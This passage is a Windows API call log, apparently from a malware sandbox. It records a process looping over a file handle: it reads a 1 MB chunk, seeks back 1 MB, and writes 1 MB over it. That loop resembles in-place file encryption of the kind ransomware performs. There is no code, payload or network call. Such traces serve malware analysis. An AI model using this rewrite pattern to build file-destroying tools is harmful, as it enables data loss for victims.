	[0093.908] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.910] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.913] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.925] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.936] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.941] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.942] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.944] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.948] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0093.959] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0093.973] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0093.986] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.990] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.990] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0093.992] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0093.995] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.001] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.005] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.014] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.017] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.017] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.019] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.022] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.031] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.036] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.056] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.060] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.060] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.063] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.068] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.075] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.081] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.095] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.099] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.099] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.102] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.105] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.116] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.130] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.143] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.147] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.147] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.151] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.155] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.163] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.169] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.183] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.187] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.187] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.190] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.194] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.205] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.220] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.234] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.239] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.240] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.244] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.247] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.255] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.260] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.271] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.275] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.275] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.278] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.282] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.301] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.307] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.316] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.318] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.319] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.321] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.325] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.333] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.339] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.353] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.357] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.357] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.360] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.364] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.376] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.390] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.404] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.407] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.407] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.411] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.415] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.422] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.438] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.449] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.452] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.452] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.455] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.459] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.485] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.498] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.502] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.502] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.505] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.508] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.514] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.518] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.530] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.539] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.539] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.541] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.545] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.555] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.560] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.570] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.581] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.581] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.584] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.588] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.595] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.602] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.615] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.619] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.619] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.622] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.625] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.635] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.640] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.654] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.657] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.657] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.663] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.667] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.674] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.769] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.783] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.787] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.787] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.789] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.794] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.802] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.807] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.816] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.819] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.819] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.821] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.823] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.829] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.834] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.858] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.877] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.877] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.880] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.884] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.903] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.919] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.933] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.937] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.937] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.939] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.943] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.957] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0094.963] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0094.976] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.980] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.980] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0094.982] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0094.986] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0094.996] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
